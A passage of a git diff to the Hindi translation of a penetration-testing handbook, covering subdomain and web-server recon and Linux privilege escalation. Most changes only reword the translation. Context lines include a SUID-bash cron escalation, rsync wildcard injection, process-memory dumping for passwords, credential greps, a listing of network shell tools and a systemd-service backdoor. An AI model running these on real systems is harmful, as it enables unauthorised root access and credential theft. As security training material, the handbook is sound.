स्रोतों** में IP में डोमेन देखने या **उस IP में VHost डोमेन नामों को ब्रूट-फोर्स करके**। +यदि आपने एक IP पता पाया है जिसमें **एक या एक से अधिक वेब पृष्ठ** सबडोमेन से संबंधित हैं, तो आप **उस IP में वेब के साथ अन्य सबडोमेन खोजने** की कोशिश कर सकते हैं **OSINT स्रोतों** में IP में डोमेन के लिए देखने या **उस IP में VHost डोमेन नामों को ब्रूट-फोर्स करके**। #### OSINT @@ -437,31 +440,31 @@ VHostScan -t example.com ### **CORS Brute Force** -कभी-कभी आप ऐसी पृष्ठों को पाएंगे जो केवल _**Access-Control-Allow-Origin**_ हेडर को लौटाते हैं जब _**Origin**_ हेडर में एक मान्य डोमेन/सबडोमेन सेट किया गया हो। इन परिदृश्यों में, आप इस व्यवहार का दुरुपयोग करके **नए** **सबडोमेन** को **खोज** सकते हैं। +कभी-कभी आप ऐसी पृष्ठों को पाएंगे जो केवल _**Access-Control-Allow-Origin**_ हेडर को लौटाते हैं जब _**Origin**_ हेडर में एक मान्य डोमेन/सबडोमेन सेट किया गया हो। इन परिदृश्यों में, आप इस व्यवहार का दुरुपयोग करके **नए** **सबडोमेन** **खोज** सकते हैं। ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` ### **बकेट्स ब्रूट फोर्स** जब आप **सबडोमेन** की तलाश कर रहे हों, तो देखें कि क्या यह किसी प्रकार के **बकेट** की ओर **इशारा** कर रहा है, और इस मामले में [**अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ -इसके अलावा, चूंकि इस बिंदु पर आप दायरे के भीतर सभी डोमेन को जानेंगे, कोशिश करें [**संभावित बकेट नामों को ब्रूट फोर्स करें और अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/). +इसके अलावा, चूंकि इस बिंदु पर आप दायरे के भीतर सभी डोमेन को जानेंगे, कोशिश करें [**संभव बकेट नामों को ब्रूट फोर्स करें और अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/). ### **निगरानी** -आप **सर्टिफिकेट ट्रांसपेरेंसी** लॉग्स की निगरानी करके देख सकते हैं कि किसी डोमेन के **नए सबडोमेन** बनाए गए हैं [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)करता है। +आप **सर्टिफिकेट ट्रांसपेरेंसी** लॉग्स की निगरानी करके देख सकते हैं कि किसी डोमेन के **नए सबडोमेन** बनाए गए हैं [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) करता है। ### **कमजोरियों की तलाश** -संभावित [**सबडोमेन टेकओवर**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) के लिए जांचें।\ +संभव [**सबडोमेन टेकओवर**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) के लिए जांचें।\ यदि **सबडोमेन** किसी **S3 बकेट** की ओर इशारा कर रहा है, तो [**अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/). -यदि आप किसी **सबडोमेन को एक अलग IP** के साथ पाते हैं जो आपने पहले से संपत्तियों की खोज में पाया है, तो आपको एक **बुनियादी कमजोरियों का स्कैन** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। चल रहे सेवाओं के आधार पर, आप **इस पुस्तक में कुछ तरकीबें "हमला" करने के लिए** पा सकते हैं।\ +यदि आप किसी **सबडोमेन को एक IP अलग** पाते हैं जो आपने पहले से संपत्तियों की खोज में पाया है, तो आपको एक **बुनियादी कमजोरियों का स्कैन** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। चल रहे सेवाओं के आधार पर, आप **इस पुस्तक में कुछ तरकीबें "हमला" करने के लिए** पा सकते हैं।\ &#xNAN;_Note करें कि कभी-कभी सबडोमेन एक IP के भीतर होस्ट किया जाता है जो ग्राहक द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_ ## IPs प्रारंभिक चरणों में, आप **कुछ IP रेंज, डोमेन और सबडोमेन** पा सकते हैं।\ -अब **उन रेंज से सभी IPs को इकट्ठा करने** और **डोमेन/सबडोमेन (DNS क्वेरी)** के लिए समय है। +अब समय है कि आप **उन रेंज से सभी IPs को इकट्ठा करें** और **डोमेन/सबडोमेन (DNS क्वेरी) के लिए।** निम्नलिखित **फ्री APIs** की सेवाओं का उपयोग करके, आप **डोमेन और सबडोमेन द्वारा उपयोग किए गए पिछले IPs** भी पा सकते हैं। ये IPs अभी भी ग्राहक के स्वामित्व में हो सकते हैं (और आपको [**CloudFlare बायपास**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) खोजने की अनुमति दे सकते हैं) @@ -471,17 +474,17 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http: ### **कमजोरियों की तलाश** -**CDNs से संबंधित सभी IPs का पोर्ट स्कैन करें** (क्योंकि आप वहां कुछ दिलचस्प नहीं पाएंगे)। खोजी गई सेवाओं में, आप **कमजोरियों को खोजने में सक्षम हो सकते हैं**। +**CDNs से संबंधित सभी IPs का पोर्ट स्कैन करें** (क्योंकि आप वहां कुछ दिलचस्प नहीं पाएंगे)। चल रही सेवाओं में, आप **कमजोरियों को खोजने में सक्षम हो सकते हैं**। -**होस्ट स्कैन करने के लिए एक** [**गाइड**](../pentesting-network/) **खोजें।** +**एक** [**गाइड**](../pentesting-network/) **खोजें कि कैसे होस्ट को स्कैन करें।** ## वेब सर्वर शिकार > हमने सभी कंपनियों और उनके संपत्तियों को खोज लिया है और हम दायरे के भीतर IP रेंज, डोमेन और सबडोमेन जानते हैं। अब वेब सर्वरों की खोज करने का समय है। -पिछले चरणों में, आपने शायद पहले से ही खोजे गए IPs और डोमेन का कुछ **रिपोर्ट किया है**, इसलिए आप **संभावित सभी वेब सर्वरों** को पहले से ही पा चुके होंगे। हालाँकि, यदि आपने नहीं किया है, तो हम अब दायरे के भीतर वेब सर्वरों की खोज के लिए कुछ **तेज़ तरकीबें** देखेंगे। +पिछले चरणों में, आपने शायद पहले से ही खोजे गए IPs और डोमेन का कुछ **रिपोर्ट किया है**, इसलिए आप **संभवतः सभी संभावित वेब सर्वरों को पहले से ही खोज चुके हैं**। हालाँकि, यदि आपने नहीं किया है, तो हम अब दायरे के भीतर वेब सर्वरों की खोज के लिए कुछ **तेज़ तरकीबें** देखेंगे। -कृपया ध्यान दें कि यह **वेब ऐप्स की खोज के लिए उन्मुख** होगा, इसलिए आपको **कमजोरियों** और **पोर्ट स्कैनिंग** भी करनी चाहिए (**यदि दायरे द्वारा अनुमति दी गई हो**). +कृपया ध्यान दें कि यह **वेब ऐप्स की खोज के लिए उन्मुख** होगा, इसलिए आपको **कमजोरियों** और **पोर्ट स्कैनिंग** को भी करना चाहिए (**यदि दायरे द्वारा अनुमति दी गई हो**). **वेब** सर्वरों से संबंधित **खुले पोर्ट** खोजने के लिए एक **तेज़ विधि** [**masscan** का उपयोग करके यहां पाई जा सकती है](../pentesting-network/#http-port-discovery).\ वेब सर्वरों की खोज के लिए एक और उपयोगी टूल [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) और [**httpx**](https://github.com/projectdiscovery/httpx) है। आप बस डोमेन की एक सूची पास करते हैं और यह पोर्ट 80 (http) और 443 (https) से कनेक्ट करने की कोशिश करेगा। इसके अतिरिक्त, आप अन्य पोर्ट की कोशिश करने के लिए संकेत दे सकते हैं: @@ -507,7 +510,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a - [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) - [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) -फिर, उन शब्दों के साथ आपको **परम्यूटेशन** उत्पन्न करनी चाहिए (अधिक जानकारी के लिए [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) देखें)। +फिर, उन शब्दों के साथ आपको **परम्यूटेशन** उत्पन्न करनी चाहिए (अधिक जानकारी के लिए [**दूसरे राउंड DNS ब्रूट-फोर्स**](./#second-dns-bruteforce-round) की जांच करें)। परिणामी वर्डलिस्ट के साथ आप [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **या** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** का उपयोग कर सकते हैं।** @@ -554,7 +557,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a #### गिटहब डॉर्क्स -आप उस **पृष्ठ** की भी जांच करें जहाँ संभावित **गिटहब डॉर्क्स** हैं जिन्हें आप उस संगठन में खोज सकते हैं जिसे आप लक्षित कर रहे हैं: +आप उस **पृष्ठ** की भी जांच करें जिसमें संभावित **गिटहब डॉर्क्स** हैं जिन्हें आप उस संगठन में खोज सकते हैं जिसे आप लक्षित कर रहे हैं: {{#ref}} github-leaked-secrets.md @@ -589,11 +592,11 @@ _ध्यान दें कि जो टूल नियमित गूग - [**Snyk**](https://app.snyk.io/) -## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/) +## [**पेंटेस्टिंग वेब मेथोडोलॉजी**](../../network-services-pentesting/pentesting-web/) -**कमजोरियों** की **अधिकांशता** जो बग हंटर्स द्वारा पाई जाती हैं, वे **वेब एप्लिकेशनों** के अंदर होती हैं, इसलिए इस बिंदु पर मैं एक **वेब एप्लिकेशन परीक्षण पद्धति** के बारे में बात करना चाहता हूँ, और आप [**यहाँ इस जानकारी को पा सकते हैं**](../../network-services-pentesting/pentesting-web/)। +**कमजोरियों** की **अधिकांशता** जो बग हंटर्स द्वारा पाई जाती है, **वेब अनुप्रयोगों** के अंदर होती है, इसलिए इस बिंदु पर मैं एक **वेब अनुप्रयोग परीक्षण पद्धति** के बारे में बात करना चाहता हूँ, और आप [**यहाँ इस जानकारी को पा सकते हैं**](../../network-services-pentesting/pentesting-web/)। -मैं [**वेब स्वचालित स्कैनर्स ओपन-सोर्स टूल्स**](../../network-services-pentesting/pentesting-web/#automatic-scanners) अनुभाग का विशेष उल्लेख करना चाहता हूँ, क्योंकि, यदि आप उनसे बहुत संवेदनशील कमजोरियों की खोज करने की उम्मीद नहीं करते हैं, तो वे **प्रारंभिक वेब जानकारी प्राप्त करने के लिए कार्यप्रवाहों में लागू करने के लिए सहायक होते हैं।** +मैं [**वेब स्वचालित स्कैनर्स ओपन सोर्स टूल्स**](../../network-services-pentesting/pentesting-web/#automatic-scanners) अनुभाग का विशेष उल्लेख करना चाहता हूँ, क्योंकि, यदि आपको उनसे बहुत संवेदनशील कमजोरियों की खोज करने की उम्मीद नहीं करनी चाहिए, तो वे **प्रारंभिक वेब जानकारी प्राप्त करने के लिए कार्यप्रवाहों में लागू करने के लिए सहायक होते हैं।** ## पुनरावलोकन @@ -624,5 +627,4 @@ _ध्यान दें कि जो टूल नियमित गूग - [**@Jhaddix**](https://twitter.com/Jhaddix) के सभी मुफ्त पाठ्यक्रम जैसे [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 09ea2fd36..6cfb59a42 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -26,7 +26,7 @@ echo $PATH ``` ### Kernel exploits -कर्नेल संस्करण की जांच करें और यदि कोई ऐसा एक्सप्लॉइट है जिसका उपयोग विशेषाधिकार बढ़ाने के लिए किया जा सकता है। +कर्नेल संस्करण की जांच करें और यदि कोई ऐसा एक्सप्लॉइट है जिसका उपयोग विशेषाधिकार बढ़ाने के लिए किया जा सकता है ```bash cat /proc/version uname -a @@ -140,7 +140,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## उपयोगी सॉफ़्टवेयर -उपयोगी बाइनरीज़ की सूची बनाएं +उपयोगी बाइनरीज़ की गणना करें ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` @@ -158,7 +158,7 @@ rpm -qa #Centos ``` यदि आपके पास मशीन पर SSH पहुंच है, तो आप **openVAS** का उपयोग करके मशीन के अंदर स्थापित पुराने और कमजोर सॉफ़्टवेयर की जांच कर सकते हैं। -> [!NOTE] > _ध्यान दें कि ये कमांड बहुत सारी जानकारी दिखाएंगे जो ज्यादातर बेकार होगी, इसलिए कुछ अनुप्रयोगों जैसे OpenVAS या समान का उपयोग करने की सिफारिश की जाती है जो जांचेंगे कि क्या कोई स्थापित सॉफ़्टवेयर संस्करण ज्ञात शोषणों के लिए कमजोर है_ +> [!NOTE] > _ध्यान दें कि ये कमांड बहुत सारी जानकारी दिखाएंगे जो ज्यादातर बेकार होगी, इसलिए कुछ एप्लिकेशन जैसे OpenVAS या समान का उपयोग करने की सिफारिश की जाती है जो जांचेंगे कि क्या कोई स्थापित सॉफ़्टवेयर संस्करण ज्ञात शोषणों के लिए कमजोर है_ ## प्रक्रियाएँ @@ -168,8 +168,8 @@ ps aux ps -ef top -n 1 ``` -हमेशा संभावित [**electron/cef/chromium debuggers**] के लिए जांचें जो चल रहे हैं, आप इसका दुरुपयोग करके विशेषाधिकार बढ़ा सकते हैं](electron-cef-chromium-debugger-abuse.md)। **Linpeas** इन्हें प्रक्रिया की कमांड लाइन में `--inspect` पैरामीटर की जांच करके पहचानते हैं।\ -साथ ही **प्रक्रियाओं के बाइनरी पर अपने विशेषाधिकारों की जांच करें**, शायद आप किसी और को ओवरराइट कर सकते हैं। +हमेशा संभावित [**electron/cef/chromium debuggers**] के लिए जांचें जो चल रहे हैं, आप इसका दुरुपयोग करके विशेषाधिकार बढ़ा सकते हैं](electron-cef-chromium-debugger-abuse.md)। **Linpeas** इनकी पहचान `--inspect` पैरामीटर को प्रक्रिया की कमांड लाइन में चेक करके करते हैं।\ +साथ ही **प्रक्रियाओं के बाइनरी पर अपने विशेषाधिकारों की जांच करें**, शायद आप किसी को ओवरराइट कर सकते हैं। ### प्रक्रिया निगरानी @@ -179,10 +179,10 @@ top -n 1 कुछ सर्वर की सेवाएँ **मेमोरी के अंदर स्पष्ट पाठ में क्रेडेंशियल्स** सहेजती हैं।\ सामान्यतः, आपको अन्य उपयोगकर्ताओं से संबंधित प्रक्रियाओं की मेमोरी पढ़ने के लिए **रूट विशेषाधिकार** की आवश्यकता होगी, इसलिए यह आमतौर पर तब अधिक उपयोगी होता है जब आप पहले से ही रूट हैं और अधिक क्रेडेंशियल्स खोजने की कोशिश कर रहे हैं।\ -हालांकि, याद रखें कि **एक नियमित उपयोगकर्ता के रूप में आप उन प्रक्रियाओं की मेमोरी पढ़ सकते हैं जो आपके स्वामित्व में हैं**। +हालांकि, याद रखें कि **एक नियमित उपयोगकर्ता के रूप में आप अपनी प्रक्रियाओं की मेमोरी पढ़ सकते हैं**। > [!WARNING] -> ध्यान दें कि आजकल अधिकांश मशीनें **डिफ़ॉल्ट रूप से ptrace की अनुमति नहीं देतीं** जिसका अर्थ है कि आप अपने बिना विशेषाधिकार वाले उपयोगकर्ता से संबंधित अन्य प्रक्रियाओं को डंप नहीं कर सकते। +> ध्यान दें कि आजकल अधिकांश मशीनें **डिफ़ॉल्ट रूप से ptrace की अनुमति नहीं देतीं** जिसका अर्थ है कि आप अपने अप्रिविलेज्ड उपयोगकर्ता से संबंधित अन्य प्रक्रियाओं को डंप नहीं कर सकते। > > फ़ाइल _**/proc/sys/kernel/yama/ptrace_scope**_ ptrace की पहुंच को नियंत्रित करती है: > @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -किसी दिए गए प्रक्रिया आईडी के लिए, **maps दिखाता है कि मेमोरी उस प्रक्रिया के** वर्चुअल एड्रेस स्पेस के भीतर कैसे मैप की गई है; यह **प्रत्येक मैप की गई क्षेत्र के अनुमतियों** को भी दिखाता है। **mem** प्सेउडो फ़ाइल **प्रक्रियाओं की मेमोरी को स्वयं उजागर करती है**। **maps** फ़ाइल से हमें पता चलता है कि **कौन सी मेमोरी क्षेत्र पढ़ने योग्य हैं** और उनके ऑफसेट। हम इस जानकारी का उपयोग **mem फ़ाइल में खोजने और सभी पढ़ने योग्य क्षेत्रों को एक फ़ाइल में डंप करने** के लिए करते हैं। +किसी दिए गए प्रक्रिया आईडी के लिए, **maps दिखाता है कि मेमोरी उस प्रक्रिया के** वर्चुअल एड्रेस स्पेस के भीतर कैसे मैप की गई है; यह **प्रत्येक मैप की गई क्षेत्र के अनुमतियों** को भी दिखाता है। **mem** प्सेउडो फ़ाइल **प्रक्रियाओं की मेमोरी को स्वयं उजागर करती है**। **maps** फ़ाइल से हम जानते हैं कि **कौन सी मेमोरी क्षेत्र पढ़ने योग्य हैं** और उनके ऑफसेट क्या हैं। हम इस जानकारी का उपयोग **mem फ़ाइल में खोजने और सभी पढ़ने योग्य क्षेत्रों को एक फ़ाइल में डंप करने** के लिए करते हैं। ```bash procdump() ( @@ -237,7 +237,7 @@ strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump for linux -ProcDump एक Linux में Sysinternals टूल्स के क्लासिक ProcDump टूल का पुनः आविष्कार है। इसे [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) पर प्राप्त करें। +ProcDump एक Linux में Sysinternals टूल्स के क्लासिक ProcDump टूल का पुनः आविष्कार है जो Windows के लिए है। इसे [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) पर प्राप्त करें। ``` procdump -p 1714 @@ -266,7 +266,7 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Tools -एक प्रक्रिया की मेमोरी को डंप करने के लिए आप उपयोग कर सकते हैं: +एक प्रक्रिया मेमोरी को डंप करने के लिए आप उपयोग कर सकते हैं: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) - [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_आप मैन्युअल रूप से रूट आवश्यकताओं को हटा सकते हैं और अपने द्वारा स्वामित्व वाली प्रक्रिया को डंप कर सकते हैं @@ -327,22 +327,22 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul (_ध्यान दें कि उपयोगकर्ता "user" के पास /home/user पर लिखने के अधिकार हैं_) -यदि इस क्रॉनटैब के अंदर रूट उपयोगकर्ता बिना पथ सेट किए किसी कमांड या स्क्रिप्ट को निष्पादित करने की कोशिश करता है। उदाहरण के लिए: _\* \* \* \* root overwrite.sh_\ +यदि इस क्रॉनटैब के अंदर रूट उपयोगकर्ता बिना पथ सेट किए कुछ कमांड या स्क्रिप्ट निष्पादित करने की कोशिश करता है। उदाहरण के लिए: _\* \* \* \* root overwrite.sh_\ तो, आप इसका उपयोग करके एक रूट शेल प्राप्त कर सकते हैं: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron एक स्क्रिप्ट का उपयोग करके जो वाइल्डकार्ड है (Wildcard Injection) +### Cron एक स्क्रिप्ट का उपयोग करके जिसमें वाइल्डकार्ड है (Wildcard Injection) -यदि एक स्क्रिप्ट जिसे रूट द्वारा निष्पादित किया गया है, एक कमांड के अंदर “**\***” है, तो आप इसका उपयोग अप्रत्याशित चीजें करने के लिए कर सकते हैं (जैसे privesc)। उदाहरण: +यदि एक स्क्रिप्ट जिसे रूट द्वारा निष्पादित किया जाता है, एक कमांड के अंदर “**\***” है, तो आप इसका उपयोग अप्रत्याशित चीजें करने के लिए कर सकते हैं (जैसे privesc)। उदाहरण: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**यदि वाइल्डकार्ड के पहले एक पथ हो जैसे** _**/some/path/\***_ **, तो यह संवेदनशील नहीं है (यहां तक कि** _**./\***_ **भी नहीं है)।** +**यदि वाइल्डकार्ड के पहले एक पथ है जैसे** _**/some/path/\***_ **, तो यह संवेदनशील नहीं है (यहां तक कि** _**./\***_ **भी नहीं है)।** -अधिक वाइल्डकार्ड शोषण तकनीकों के लिए निम्नलिखित पृष्ठ पढ़ें: +अधिक वाइल्डकार्ड शोषण चालों के लिए निम्नलिखित पृष्ठ पढ़ें: {{#ref}} wildcards-spare-tricks.md @@ -350,7 +350,7 @@ wildcards-spare-tricks.md ### क्रोन स्क्रिप्ट ओवरराइटिंग और सिम्लिंक -यदि आप **एक क्रोन स्क्रिप्ट को संशोधित कर सकते हैं** जो रूट द्वारा निष्पादित होती है, तो आप बहुत आसानी से एक शेल प्राप्त कर सकते हैं: +यदि आप **एक क्रोन स्क्रिप्ट को संशोधित कर सकते हैं** जिसे रूट द्वारा निष्पादित किया जाता है, तो आप बहुत आसानी से एक शेल प्राप्त कर सकते हैं: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed @@ -380,7 +380,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Writable _.service_ फ़ाइलें -जांचें कि क्या आप किसी `.service` फ़ाइल को लिख सकते हैं, यदि आप कर सकते हैं, तो आप इसे **संशोधित कर सकते हैं** ताकि यह **आपका बैकडोर चलाए** जब सेवा **शुरू** होती है, **फिर से शुरू** होती है या **रोक दी** जाती है (शायद आपको मशीन के पुनरारंभ होने का इंतजार करना पड़े)।\ +जांचें कि क्या आप किसी `.service` फ़ाइल को लिख सकते हैं, यदि आप कर सकते हैं, तो आप इसे **संशोधित कर सकते हैं** ताकि यह **आपका बैकडोर चलाए** जब सेवा **शुरू**, **फिर से शुरू** या **रोक दी** जाती है (शायद आपको मशीन के पुनरारंभ होने का इंतजार करना पड़े)।\ उदाहरण के लिए, .service फ़ाइल के अंदर अपने बैकडोर को **`ExecStart=/tmp/script.sh`** के साथ बनाएं। ### Writable सेवा बाइनरी @@ -393,7 +393,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ```bash systemctl show-environment ``` -यदि आप पाते हैं कि आप पथ के किसी भी फ़ोल्डर में **लिख** सकते हैं, तो आप **अधिकार बढ़ाने** में सक्षम हो सकते हैं। आपको सेवा कॉन्फ़िगरेशन फ़ाइलों में **सापेक्ष पथों** के उपयोग की खोज करनी होगी जैसे: +यदि आप पाते हैं कि आप पथ के किसी भी फ़ोल्डर में **लिख** सकते हैं, तो आप **अधिकार बढ़ाने** में सक्षम हो सकते हैं। आपको सेवा कॉन्फ़िगरेशन फ़ाइलों में **सापेक्ष पथों** के उपयोग की खोज करने की आवश्यकता है जैसे: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' @@ -401,7 +401,7 @@ ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` फिर, एक **executables** बनाएं जिसका **नाम उस सापेक्ष पथ बाइनरी** के समान हो जो आप लिख सकते हैं systemd PATH फ़ोल्डर के अंदर, और जब सेवा को कमजोर क्रिया (**Start**, **Stop**, **Reload**) को निष्पादित करने के लिए कहा जाता है, तो आपका **backdoor निष्पादित होगा** (अधिकारहीन उपयोगकर्ता आमतौर पर सेवाओं को शुरू/रोक नहीं सकते लेकिन जांचें कि क्या आप `sudo -l` का उपयोग कर सकते हैं)। -**सेवाओं के बारे में अधिक जानें `man systemd.service` के साथ।** +**सेवाओं के बारे में अधिक जानें `man systemd.service`।** ## **Timers** @@ -419,18 +419,18 @@ Unit=backdoor.service ``` डॉक्यूमेंटेशन में आप पढ़ सकते हैं कि यूनिट क्या है: -> वह यूनिट जिसे इस टाइमर के समाप्त होने पर सक्रिय किया जाना है। तर्क एक यूनिट नाम है, जिसका उपसर्ग ".timer" नहीं है। यदि निर्दिष्ट नहीं किया गया है, तो यह मान उस सेवा का डिफ़ॉल्ट होता है जिसका नाम टाइमर यूनिट के समान होता है, सिवाय उपसर्ग के। (ऊपर देखें।) यह अनुशंसा की जाती है कि सक्रिय की जाने वाली यूनिट का नाम और टाइमर यूनिट का नाम समान रूप से नामित किया जाए, सिवाय उपसर्ग के। +> जब यह टाइमर समाप्त होता है, तो सक्रिय करने के लिए यूनिट। तर्क एक यूनिट नाम है, जिसका उपसर्ग ".timer" नहीं है। यदि निर्दिष्ट नहीं किया गया है, तो यह मान उस सेवा का डिफ़ॉल्ट होता है जिसका नाम टाइमर यूनिट के समान होता है, सिवाय उपसर्ग के। (ऊपर देखें।) यह अनुशंसा की जाती है कि सक्रिय की गई यूनिट का नाम और टाइमर यूनिट का नाम समान रूप से नामित किया जाए, सिवाय उपसर्ग के। इसलिए, इस अनुमति का दुरुपयोग करने के लिए आपको चाहिए: -- कुछ systemd यूनिट (जैसे `.service`) खोजें जो **एक लिखने योग्य बाइनरी** को **निष्पादित** कर रही है -- कुछ systemd यूनिट खोजें जो **एक सापेक्ष पथ** को **निष्पादित** कर रही है और आपके पास **systemd PATH** पर **लिखने के अधिकार** हैं (उस निष्पादन योग्य की नकल करने के लिए) +- कुछ systemd यूनिट (जैसे `.service`) खोजें जो **एक लिखने योग्य बाइनरी** चला रही है +- कुछ systemd यूनिट खोजें जो **एक सापेक्ष पथ** चला रही है और आपके पास **systemd PATH** पर **लिखने की अनुमति** है (उस निष्पादन योग्य की नकल करने के लिए) -**`man systemd.timer` के साथ टाइमर्स के बारे में अधिक जानें।** +**टाइमर्स के बारे में अधिक जानें `man systemd.timer` के साथ।** ### **टाइमर सक्षम करना** -टाइमर को सक्षम करने के लिए आपको रूट विशेषाधिकार की आवश्यकता है और निष्पादित करना होगा: +टाइमर को सक्षम करने के लिए आपको रूट अनुमतियाँ चाहिए और निष्पादित करना होगा: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. @@ -439,14 +439,14 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li ## सॉकेट्स -यूनिक्स डोमेन सॉकेट्स (UDS) **प्रक्रिया संचार** को समान या विभिन्न मशीनों पर क्लाइंट-सेर्वर मॉडल के भीतर सक्षम करते हैं। वे इंटर-कंप्यूटर संचार के लिए मानक यूनिक्स डिस्क्रिप्टर फ़ाइलों का उपयोग करते हैं और `.socket` फ़ाइलों के माध्यम से सेटअप किए जाते हैं। +यूनिक्स डोमेन सॉकेट्स (UDS) **प्रक्रिया संचार** को समान या विभिन्न मशीनों पर क्लाइंट-सरवर मॉडल के भीतर सक्षम करते हैं। वे इंटर-कंप्यूटर संचार के लिए मानक यूनिक्स डिस्क्रिप्टर फ़ाइलों का उपयोग करते हैं और `.socket` फ़ाइलों के माध्यम से सेटअप किए जाते हैं। सॉकेट्स को `.socket` फ़ाइलों का उपयोग करके कॉन्फ़िगर किया जा सकता है। -**सॉकेट्स के बारे में अधिक जानें `man systemd.socket` के साथ।** इस फ़ाइल के अंदर, कई दिलचस्प पैरामीटर कॉन्फ़िगर किए जा सकते हैं: +**`man systemd.socket` के साथ सॉकेट्स के बारे में अधिक जानें।** इस फ़ाइल के अंदर, कई दिलचस्प पैरामीटर कॉन्फ़िगर किए जा सकते हैं: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: ये विकल्प अलग हैं लेकिन एक सारांश का उपयोग **यह इंगित करने के लिए किया जाता है कि यह सॉकेट पर कहां सुनेगा** (AF_UNIX सॉकेट फ़ाइल का पथ, IPv4/6 और/या सुनने के लिए पोर्ट नंबर, आदि) -- `Accept`: एक बूलियन तर्क लेता है। यदि **सत्य**, तो **प्रत्येक आने वाले कनेक्शन के लिए एक सेवा उदाहरण उत्पन्न होता है** और केवल कनेक्शन सॉकेट इसे सौंपा जाता है। यदि **असत्य**, तो सभी सुनने वाले सॉकेट स्वयं **शुरू की गई सेवा इकाई** को सौंपे जाते हैं, और सभी कनेक्शनों के लिए केवल एक सेवा इकाई उत्पन्न होती है। यह मान डाटाग्राम सॉकेट और FIFOs के लिए अनदेखा किया जाता है जहां एकल सेवा इकाई बिना शर्त सभी आने वाले ट्रैफ़िक को संभालती है। **डिफ़ॉल्ट रूप से असत्य**। प्रदर्शन कारणों से, नए डेमनों को केवल `Accept=no` के लिए उपयुक्त तरीके से लिखने की सिफारिश की जाती है। +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: ये विकल्प अलग हैं लेकिन एक सारांश का उपयोग **यह इंगित करने के लिए किया जाता है कि यह सॉकेट पर कहां सुनेगा** (AF_UNIX सॉकेट फ़ाइल का पथ, सुनने के लिए IPv4/6 और/या पोर्ट नंबर, आदि) +- `Accept`: एक बूलियन तर्क 